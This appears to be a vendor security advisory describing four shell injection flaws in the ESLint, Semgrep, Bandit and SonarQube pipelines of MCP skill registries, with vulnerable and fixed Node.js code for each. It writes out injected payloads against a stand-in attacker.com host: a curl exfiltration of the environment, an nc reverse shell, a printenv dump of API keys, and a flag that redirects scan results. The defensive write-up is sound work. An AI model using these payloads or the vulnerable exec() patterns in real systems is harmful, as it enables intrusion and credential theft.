Code Injection in MCP Skill Registry Skill Static Analysis and Security Linting Configuration Pipeline Endpoints
SA-SKL-INJECTION79 documents four shell injection vulnerabilities across the static analysis and security linting configuration pipeline of MCP skill registries. The findings span environment variable exfiltration via ESLint, reverse shell establishment via Semgrep, cloud credential theft via Bandit, and silent scan result redirection via SonarQube parameter injection.
exec(`eslint --config ${configPath} ${targetDir} --output-file ${outputFile}`); attacker configPath with ; env > /tmp/leak; curl -F "data=@/tmp/leak" attacker.com exfiltrates full container environment including registry secrets and cloud credentialsexec(`semgrep --config ${rulesetPath} ${targetDir} --json -o ${outputFile}`); attacker rulesetPath with ; nc attacker.com 4444 -e /bin/sh establishes interactive reverse shell from linting workerexec(`bandit -c ${configFile} -r ${targetDir} -f ${outputFormat}`); attacker configFile with ; printenv exfiltrates ANTHROPIC_API_KEY and all cloud credentials from security linting worker stdoutexec(`sonar-scanner -Dsonar.projectKey=${projectKey} -Dsonar.projectBaseDir=${projectDir}`); attacker projectKey with space-injected -Dsonar.host.url=https://attacker.com silently redirects all scan results to attacker-controlled SonarQube instanceINJECTION79-001 — ESLint configPath shell injection exfiltrating container environment
The linting pipeline constructs an ESLint command string using the publisher-supplied configPath parameter and passes it to child_process.exec(). Because exec() passes the full command string to /bin/sh -c, semicolons and shell operators in configPath are interpreted by the shell. An attacker submits configPath: "/configs/eslint.json; env > /tmp/leak; curl -F 'data=@/tmp/leak' https://attacker.com". The shell executes all three commands: ESLint runs (possibly succeeding), environment variables are written to /tmp/leak, and the full env dump — including AWS_ACCESS_KEY_ID, DATABASE_URL, STRIPE_SECRET_KEY, and REGISTRY_SECRET_KEY — is exfiltrated via curl.
// INJECTION79-001 — VULNERABLE
const { exec } = require('child_process');
async function runEslintLint(configPath, targetDir, outputFile) {
return new Promise((resolve, reject) => {
// VULNERABLE: configPath interpolated into shell command string — ; injection possible
const cmd = `eslint --config ${configPath} ${targetDir} --output-file ${outputFile}`;
exec(cmd, (err, stdout, stderr) => {
if (err) return reject(err);
resolve({ stdout, stderr });
});
});
}
Full container environment exfiltration in one request: exec() spawns /bin/sh -c, making every shell metacharacter (;, &&, |, $()) executable. The linting worker process inherits all environment variables from the registry server — a single injection exfiltrates every secret in the container.
// INJECTION79-001 — FIXED
const { execFile } = require('child_process');
const path = require('path');
async function runEslintLint(configPath, targetDir, outputFile) {
// FIXED: validate configPath is a known allowlisted config file, not user-supplied path
const safeConfig = resolveAllowlistedConfig(configPath); // throws if not in allowlist
const safeTarget = path.resolve('/sandbox', path.normalize(targetDir));
const safeOutput = path.resolve('/tmp/lint-out', path.basename(outputFile));
return new Promise((resolve, reject) => {
// FIXED: execFile — args passed as array, never interpreted by shell
execFile('eslint', ['--config', safeConfig, safeTarget, '--output-file', safeOutput],
(err, stdout, stderr) => {
if (err) return reject(err);
resolve({ stdout, stderr });
}
);
});
}
INJECTION79-002 — Semgrep rulesetPath injection establishing reverse shell
The security scanning pipeline constructs a Semgrep command string using the publisher-supplied rulesetPath. An attacker submits rulesetPath: "p/default; nc attacker.com 4444 -e /bin/sh". The exec() call passes this to /bin/sh -c, which runs Semgrep with p/default and then spawns Netcat with an interactive shell connected to the attacker's listener. The linting worker process — which typically runs with elevated privileges to access the full skill source tree and signing keys — provides the attacker with a persistent interactive foothold in the registry infrastructure. Because linting jobs run asynchronously, the reverse shell persists until the worker restarts.
// INJECTION79-002 — VULNERABLE
async function runSemgrepScan(rulesetPath, targetDir, outputFile) {
return new Promise((resolve, reject) => {
// VULNERABLE: rulesetPath user-supplied — attacker appends ; nc reverse shell
const cmd = `semgrep --config ${rulesetPath} ${targetDir} --json -o ${outputFile}`;
exec(cmd, { timeout: 300000 }, (err, stdout, stderr) => {
if (err) return reject(err);
resolve({ stdout, stderr });
});
});
}
// INJECTION79-002 — FIXED
const ALLOWED_SEMGREP_CONFIGS = new Set(['p/default', 'p/security-audit', 'p/owasp-top-ten']);
async function runSemgrepScan(rulesetPath, targetDir, outputFile) {
// FIXED: allowlist — only pre-approved Semgrep registry rulesets accepted
if (!ALLOWED_SEMGREP_CONFIGS.has(rulesetPath)) {
throw new Error(`Semgrep config not in allowlist: ${rulesetPath}`);
}
const safeTarget = path.resolve('/sandbox', path.normalize(targetDir));
const safeOutput = path.resolve('/tmp/scan-out', path.basename(outputFile));
return new Promise((resolve, reject) => {
// FIXED: execFile — shell not invoked, no semicolon interpretation
execFile('semgrep', ['--config', rulesetPath, safeTarget, '--json', '-o', safeOutput],
{ timeout: 300000 },
(err, stdout, stderr) => {
if (err) return reject(err);
resolve({ stdout, stderr });
}
);
});
}
INJECTION79-003 — Bandit configFile injection exfiltrating ANTHROPIC_API_KEY
The Python security linting pipeline runs Bandit with a publisher-supplied configFile path. An attacker submits configFile: "/dev/null; printenv". The shell executes bandit -c /dev/null (which completes benignly with an empty config) followed by printenv, which writes every environment variable — including ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, DATABASE_URL, and GITHUB_TOKEN — to stdout. The combined stdout is logged to the job artifact store and potentially included in the linting report returned to the attacker, depending on how the pipeline surfaces tool output.
// INJECTION79-003 — VULNERABLE
async function runBanditScan(configFile, targetDir, outputFormat) {
return new Promise((resolve, reject) => {
// VULNERABLE: configFile user-supplied — attacker appends ; printenv
const cmd = `bandit -c ${configFile} -r ${targetDir} -f ${outputFormat}`;
exec(cmd, (err, stdout, stderr) => {
// stdout may contain ANTHROPIC_API_KEY and all env vars if printenv injected
resolve({ stdout, stderr, exitCode: err?.code ?? 0 });
});
});
}
// INJECTION79-003 — FIXED
const ALLOWED_OUTPUT_FORMATS = new Set(['json', 'txt', 'csv', 'xml', 'html']);
async function runBanditScan(configFile, targetDir, outputFormat) {
// FIXED: use built-in default config — publisher cannot supply config path
const safeTarget = path.resolve('/sandbox', path.normalize(targetDir));
if (!ALLOWED_OUTPUT_FORMATS.has(outputFormat)) {
throw new Error(`Unsupported output format: ${outputFormat}`);
}
return new Promise((resolve, reject) => {
// FIXED: execFile — configFile not passed at all; use registry-managed default
execFile('bandit', ['-r', safeTarget, '-f', outputFormat],
(err, stdout, stderr) => {
resolve({ stdout, stderr, exitCode: err?.code ?? 0 });
}
);
});
}
INJECTION79-004 — SonarQube projectKey space injection redirecting scan results
The SonarQube integration constructs a scanner command using the publisher-supplied projectKey. Unlike semicolon injection, this attack uses a space to inject an additional -D property flag. An attacker supplies projectKey: "my-skill -Dsonar.host.url=https://attacker.com". The resulting command becomes sonar-scanner -Dsonar.projectKey=my-skill -Dsonar.host.url=https://attacker.com -Dsonar.host.url=https://registry-sonar.internal. SonarQube CLI processes the first occurrence of a duplicate -D flag, so the attacker's URL takes precedence. All scan results, findings, and source code snippets are silently transmitted to the attacker's SonarQube instance instead of the registry's internal instance — with no error returned to the registry.
// INJECTION79-004 — VULNERABLE
async function runSonarScan(projectKey, projectDir) {
return new Promise((resolve, reject) => {
// VULNERABLE: projectKey with space injects additional -D flags
// "my-skill -Dsonar.host.url=https://attacker.com" redirects all results
const cmd = `sonar-scanner -Dsonar.projectKey=${projectKey} \
-Dsonar.projectBaseDir=${projectDir} \
-Dsonar.host.url=https://registry-sonar.internal`;
exec(cmd, (err, stdout, stderr) => {
if (err) return reject(err);
resolve({ stdout, stderr });
});
});
}
// INJECTION79-004 — FIXED
// projectKey must match npm-package naming: lowercase letters, digits, hyphens only
const PROJECT_KEY_RE = /^[a-z0-9][a-z0-9\-]{0,99}$/;
async function runSonarScan(projectKey, projectDir) {
if (!PROJECT_KEY_RE.test(projectKey)) {
throw new Error(`Invalid projectKey format: ${projectKey}`);
}
const safeDir = path.resolve('/sandbox', path.normalize(projectDir));
return new Promise((resolve, reject) => {
// FIXED: execFile — args as array; no shell, no space-splitting
execFile('sonar-scanner', [
`-Dsonar.projectKey=${projectKey}`,
`-Dsonar.projectBaseDir=${safeDir}`,
`-Dsonar.host.url=https://registry-sonar.internal`,
], (err, stdout, stderr) => {
if (err) return reject(err);
resolve({ stdout, stderr });
});
});
}
Scan your MCP skill registry for SA-SKL-INJECTION79
SkillAudit detects shell injection patterns in linting tool CLI calls, unsanitized exec() invocations, and space-injection vulnerabilities in property flag construction in under 60 seconds.